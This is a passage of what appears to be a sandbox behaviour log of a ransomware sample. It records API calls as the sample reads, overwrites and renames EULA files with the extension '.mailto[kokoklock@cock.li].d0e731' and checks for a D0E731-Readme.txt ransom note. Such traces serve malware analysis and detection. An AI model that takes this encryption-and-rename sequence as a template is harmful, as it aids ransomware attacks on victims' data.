RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34913d0) returned 1 [0080.537] CloseHandle (hObject=0x450) returned 1 [0080.537] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.537] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm" [0080.537] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm.mailto[kokoklock@cock.li].d0e731" [0080.537] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lv-lv.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lv-lv.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.538] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.538] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.538] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm", dwFileAttributes=0x20) returned 0 [0080.538] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.538] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.538] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.538] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.538] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.538] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc88) returned 1 [0080.538] RtlExitUserThread (Status=0x1) Thread: id = 1016 os_tid = 0x16e4 [0080.539] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nb-no.htm")) returned 0x20 [0080.540] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm", dwFileAttributes=0x20) returned 1 [0080.540] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nb-no.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0080.540] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2493ff20 | out: lpFileSize=0x2493ff20*=67188) returned 1 [0080.540] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x10670, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.540] ReadFile (in: hFile=0x450, lpBuffer=0x2493fef4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2493fef0, lpOverlapped=0x0 | out: lpBuffer=0x2493fef4*, lpNumberOfBytesRead=0x2493fef0*=0x4, lpOverlapped=0x0) returned 1 [0080.541] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.541] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34917b8 [0080.541] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491330 [0080.541] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34913d0 [0080.542] NtQuerySystemTime (in: CurrentTime=0x2493fecc | out: CurrentTime=0x2493fecc*=132121176384279251) returned 0x0 [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0x94a7828b [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0x5bab08b5 [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0x10e03faa [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0xbd42ac63 [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0x6fc9e028 [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0xe5b87a08 [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0x265d9e9b [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0xe8e5ea74 [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0xbc0a20dc [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0x4b6e15cd [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0xb8a2a2f [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0x4190779d [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0x928c2b49 [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0x9069f5e5 [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0x53041331 [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0x74673a14 [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0x42ad85da [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0x76e009f [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0x85870ce [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0x57d05569 [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0xc05e8679 [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0x979f35a3 [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0x208fc76f [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0x6babdd31 [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0xdd58fe61 [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0x569c1f56 [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0xa2b3885c [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0x863f66ea [0080.542] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0x92e2e9ce [0080.543] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0x99eaf420 [0080.543] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0xb8a2821c [0080.543] RtlRandom (in: Seed=0x2493fed8 | out: Seed=0x2493fed8) returned 0x87d5926e [0080.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34917b8) returned 1 [0080.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.553] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.553] ReadFile (in: hFile=0x450, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2493fea4, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2493fea4*=0x4096, lpOverlapped=0x0) returned 1 [0080.554] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.554] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0080.554] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.554] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34914e8 [0080.554] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34914e8) returned 1 [0080.554] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.555] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34917b8 [0080.555] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34914e8 [0080.555] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34914e8) returned 1 [0080.555] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.555] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0080.555] WriteFile (in: hFile=0x450, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2493fea4, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x2493fea4*=0x4096, lpOverlapped=0x0) returned 1 [0080.555] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.555] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x10674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.555] WriteFile (in: hFile=0x450, lpBuffer=0x34917b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2493fedc, lpOverlapped=0x0 | out: lpBuffer=0x34917b8*, lpNumberOfBytesWritten=0x2493fedc*=0x20, lpOverlapped=0x0) returned 1 [0080.555] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34917b8) returned 1 [0080.555] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.555] WriteFile (in: hFile=0x450, lpBuffer=0x34913f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2493fef0, lpOverlapped=0x0 | out: lpBuffer=0x34913f8*, lpNumberOfBytesWritten=0x2493fef0*=0x8, lpOverlapped=0x0) returned 1 [0080.555] WriteFile (in: hFile=0x450, lpBuffer=0x2493ff08*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2493fef0, lpOverlapped=0x0 | out: lpBuffer=0x2493ff08*, lpNumberOfBytesWritten=0x2493fef0*=0x4, lpOverlapped=0x0) returned 1 [0080.555] WriteFile (in: hFile=0x450, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2493fef0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2493fef0*=0x4, lpOverlapped=0x0) returned 1 [0080.556] WriteFile (in: hFile=0x450, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2493fef0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2493fef0*=0x6c, lpOverlapped=0x0) returned 1 [0080.556] WriteFile (in: hFile=0x450, lpBuffer=0x3491330*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2493fef0, lpOverlapped=0x0 | out: lpBuffer=0x3491330*, lpNumberOfBytesWritten=0x2493fef0*=0x20, lpOverlapped=0x0) returned 1 [0080.556] WriteFile (in: hFile=0x450, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2493fef0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2493fef0*=0x4, lpOverlapped=0x0) returned 1 [0080.556] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491330) returned 1 [0080.556] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491448) returned 1 [0080.556] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34913f8) returned 1 [0080.556] CloseHandle (hObject=0x450) returned 1 [0080.556] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.556] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm" [0080.556] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm.mailto[kokoklock@cock.li].d0e731" [0080.556] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nb-no.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nb-no.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.557] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.557] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.557] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm", dwFileAttributes=0x20) returned 0 [0080.557] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.557] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.557] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.557] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.557] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.557] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0080.557] RtlExitUserThread (Status=0x1) Thread: id = 1017 os_tid = 0x16e8 [0080.554] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nl-nl.htm")) returned 0x20 [0080.559] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm", dwFileAttributes=0x20) returned 1 [0080.559] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nl-nl.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0080.559] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x249bfc20 | out: lpFileSize=0x249bfc20*=67224) returned 1 [0080.559] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x10694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.559] ReadFile (in: hFile=0x450, lpBuffer=0x249bfbf4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x249bfbf0, lpOverlapped=0x0 | out: lpBuffer=0x249bfbf4*, lpNumberOfBytesRead=0x249bfbf0*=0x4, lpOverlapped=0x0) returned 1 [0080.561] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.561] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34917b8 [0080.561] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491330 [0080.561] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34913f8 [0080.561] NtQuerySystemTime (in: CurrentTime=0x249bfbcc | out: CurrentTime=0x249bfbcc*=132121176384591245) returned 0x0 [0080.561] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0xe4a82c3f [0080.561] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0x6750c33b [0080.561] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0x6b8d47da [0080.561] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0xa05e03a3 [0080.561] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0xbe05e445 [0080.561] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0x8456e2c2 [0080.561] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0xb6f169c0 [0080.561] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0x94a74dfa [0080.561] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0xaac8b8d3 [0080.561] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0x5c83ecdd [0080.561] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0xe08e4454 [0080.561] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0xd74686a9 [0080.561] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0xf72ae806 [0080.561] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0xe2ca7e40 [0080.561] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0x71bda0bc [0080.561] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0x9ea9ed53 [0080.561] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0xa375dbde [0080.561] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0x447489e2 [0080.561] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0xf8628bbe [0080.561] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0x2f7acbf4 [0080.561] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0x4224a7d6 [0080.561] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0x113244b3 [0080.562] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0x7aeb690 [0080.562] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0x221947f2 [0080.562] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0x164dc155 [0080.562] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0x94ade259 [0080.562] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0x1a209af4 [0080.562] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0xccd769e8 [0080.562] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0xa59f9bc9 [0080.562] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0x8c7f6482 [0080.562] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0x4c64ce3b [0080.562] RtlRandom (in: Seed=0x249bfbd8 | out: Seed=0x249bfbd8) returned 0x8c52be07 [0080.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34917b8) returned 1 [0080.572] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.572] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.572] ReadFile (in: hFile=0x450, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x249bfba4, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x249bfba4*=0x4096, lpOverlapped=0x0) returned 1 [0080.681] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0080.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dcf8 [0080.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dcf8) returned 1 [0080.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55e02d0 [0080.682] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342deb0 [0080.682] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd48 [0080.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd48) returned 1 [0080.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0080.682] WriteFile (in: hFile=0x450, lpBuffer=0x55e02d0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x249bfba4, lpOverlapped=0x0 | out: lpBuffer=0x55e02d0*, lpNumberOfBytesWritten=0x249bfba4*=0x4096, lpOverlapped=0x0) returned 1 [0080.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55e02d0) returned 1 [0080.682] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x10698, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.682] WriteFile (in: hFile=0x450, lpBuffer=0x342deb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x249bfbdc, lpOverlapped=0x0 | out: lpBuffer=0x342deb0*, lpNumberOfBytesWritten=0x249bfbdc*=0x20, lpOverlapped=0x0) returned 1 [0080.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342deb0) returned 1 [0080.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.682] WriteFile (in: hFile=0x450, lpBuffer=0x34914e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x249bfbf0, lpOverlapped=0x0 | out: lpBuffer=0x34914e8*, lpNumberOfBytesWritten=0x249bfbf0*=0x8, lpOverlapped=0x0) returned 1 [0080.682] WriteFile (in: hFile=0x450, lpBuffer=0x249bfc08*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x249bfbf0, lpOverlapped=0x0 | out: lpBuffer=0x249bfc08*, lpNumberOfBytesWritten=0x249bfbf0*=0x4, lpOverlapped=0x0) returned 1 [0080.683] WriteFile (in: hFile=0x450, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x249bfbf0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x249bfbf0*=0x4, lpOverlapped=0x0) returned 1 [0080.683] WriteFile (in: hFile=0x450, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x249bfbf0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x249bfbf0*=0x6c, lpOverlapped=0x0) returned 1 [0080.683] WriteFile (in: hFile=0x450, lpBuffer=0x3491330*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x249bfbf0, lpOverlapped=0x0 | out: lpBuffer=0x3491330*, lpNumberOfBytesWritten=0x249bfbf0*=0x20, lpOverlapped=0x0) returned 1 [0080.683] WriteFile (in: hFile=0x450, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x249bfbf0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x249bfbf0*=0x4, lpOverlapped=0x0) returned 1 [0080.683] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491330) returned 1 [0080.683] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491448) returned 1 [0080.683] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34914e8) returned 1 [0080.683] CloseHandle (hObject=0x450) returned 1 [0080.683] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.683] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm" [0080.683] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm.mailto[kokoklock@cock.li].d0e731" [0080.683] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nl-nl.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nl-nl.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.684] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.684] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.684] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm", dwFileAttributes=0x20) returned 0 [0080.684] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.684] wcscpy (in: _Dest=0x33cd570, 